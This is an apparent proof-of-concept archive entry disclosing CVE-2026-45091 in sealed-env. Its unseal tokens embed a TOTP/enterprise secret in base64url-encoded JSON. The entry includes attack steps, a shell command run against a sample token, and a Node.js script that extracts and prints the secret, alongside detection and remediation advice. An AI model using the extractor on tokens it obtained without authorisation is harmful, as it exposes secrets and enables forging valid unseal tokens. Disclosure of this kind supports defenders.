PoC Archive PoC Archive
High CVE-2026-45091 unpatched

sealed-env Unseal Token TOTP/Enterprise Secret Disclosure (CVE-2026-45091)

by HORKimhab · 2026-07-05

Severity
High
CVE
CVE-2026-45091
Category
crypto
Affected product
sealed-env (davidalmeidac/sealed-env) — unseal token mechanism
Affected versions
Per source repository / referenced GHSA-x3r2-fj3r-g5mv advisory
Disclosed
2026-07-05
Patch status
unpatched

Archive entry

intelseclab/poc-archive

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / ResearcherHORKimhab
CVE / AdvisoryCVE-2026-45091
Categorycrypto
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsjwt, sealed-env, totp, secret-disclosure, base64, token-forgery
RelatedN/A

Affected Target

FieldValue
Software / Systemsealed-env (davidalmeidac/sealed-env) — unseal token mechanism
Versions AffectedPer source repository / referenced GHSA-x3r2-fj3r-g5mv advisory
Language / PlatformBash + Node.js (PoC scripts); JWT-like token format (target)
Authentication RequiredNo — requires only possession of a captured unseal token
Network Access RequiredNo (offline token decoding)

Summary

sealed-env’s “unseal token” is structured like a JWT (header.payload.signature) but its payload embeds sensitive material — specifically a totpSecret / enterpriseSecret field — in plain base64url-encoded JSON with no additional protection beyond the (unverified by this PoC) signature. Anyone who obtains an unseal token (e.g. via logs, network capture, or a leaked artifact) can trivially base64url-decode the payload segment and recover the embedded TOTP/enterprise secret, which combined with the master key allows generation of unlimited valid unseal tokens.

Vulnerability Details

Root Cause

The unseal token’s payload segment is base64url-encoded JSON containing a totpSecret/enterpriseSecret value that is not encrypted — only encoded — and is therefore recoverable by anyone with the raw token string, without needing to know the signing key or bypass any cryptographic control.

Attack Vector

  1. Attacker obtains a captured/leaked sealed-env unseal token (e.g. from logs, CI artifacts, browser storage, or network traffic).
  2. Attacker splits the token on . and takes the second (payload) segment.
  3. Attacker base64url-decodes the payload segment to recover the JSON body.
  4. Attacker extracts the totpSecret or enterpriseSecret field directly from the decoded JSON.
  5. With this secret (and the master key, if also available), the attacker can generate unlimited valid unseal tokens, undermining the sealing scheme’s intended one-time/limited-use guarantees.

Impact

Disclosure of the TOTP/enterprise secret embedded in unseal tokens allows an attacker to forge additional valid unseal tokens, potentially bypassing the intended access controls of the sealed-env secret management flow.

Environment / Lab Setup

Target: Any sealed-env deployment issuing JWT-style unseal tokens with
        an embedded totpSecret/enterpriseSecret claim.
Attacker tooling: bash + jq (for the shell PoC), or Node.js (for the
                  JS PoC) — a captured unseal token string is required.

Proof of Concept

PoC Script

See poc-cve-2026-45091.sh and extract-totp.js in this folder.

1
2
3
4

chmod +x poc-cve-2026-45091.sh
./poc-cve-2026-45091.sh "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0b3RwU2VjcmV0IjoiSldJU0hJVEUyM0FCTEMyM0RFRkciLCJleHAiOjE3MTAwMDAwMDB9.signature"

node extract-totp.js

Running either script against a captured unseal token base64url-decodes the JWT payload and prints the embedded totpSecret/enterpriseSecret value in plain text, demonstrating that the secret is recoverable without any cryptographic attack.

Detection & Indicators of Compromise

- Unseal tokens appearing in logs, error messages, CI/CD output, or
  browser storage/network traces where they should not be exposed.
- Repeated unseal operations from unfamiliar IPs/clients shortly after
  a token has appeared in an accessible location (log aggregator, etc.).

Signs of compromise:

  • Unseal tokens or their decoded payloads present in centralized logging systems.
  • Unexpected/unauthorized unseal token generation activity.
  • TOTP/enterprise secret values found in plaintext in captured artifacts.

Remediation

ActionDetail
Primary fixUpdate sealed-env to a version that encrypts (not just base64-encodes) sensitive claims such as totpSecret/enterpriseSecret within the unseal token payload, per the referenced advisory.
Interim mitigationRotate all TOTP/enterprise secrets and master keys, avoid logging or persisting raw unseal tokens, and restrict where unseal tokens are transmitted/stored (e.g. redact from logs, use short-lived tokens).

References

Notes

Mirrored from https://github.com/HORKimhab/CVE-2026-45091 on 2026-07-05.

extract-totp.js
javascript raw GitHub ↓ Download
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

// extract-totp.js
const token = "...your.token.here...";   // ← Replace with your real token

// Main logic
const payloadB64 = token.split('.')[1];

if (!payloadB64) {
    console.error("❌ Invalid token format");
    process.exit(1);
}

try {
    // Decode base64url payload
    const payload = JSON.parse(
        Buffer.from(payloadB64, 'base64url').toString('utf8')
    );

    // Extract secret
    const totpSecret = payload.totpSecret || payload.enterpriseSecret;

    console.log("=== CVE-2026-45091 TOTP Extractor ===");
    if (totpSecret) {
        console.log("✅ TOTP Secret Found:");
        console.log(totpSecret);
    } else {
        console.log("❌ No totpSecret or enterpriseSecret found in payload.");
        console.log("Full payload:", payload);
    }
} catch (err) {
    console.error("❌ Error decoding token:", err.message);
}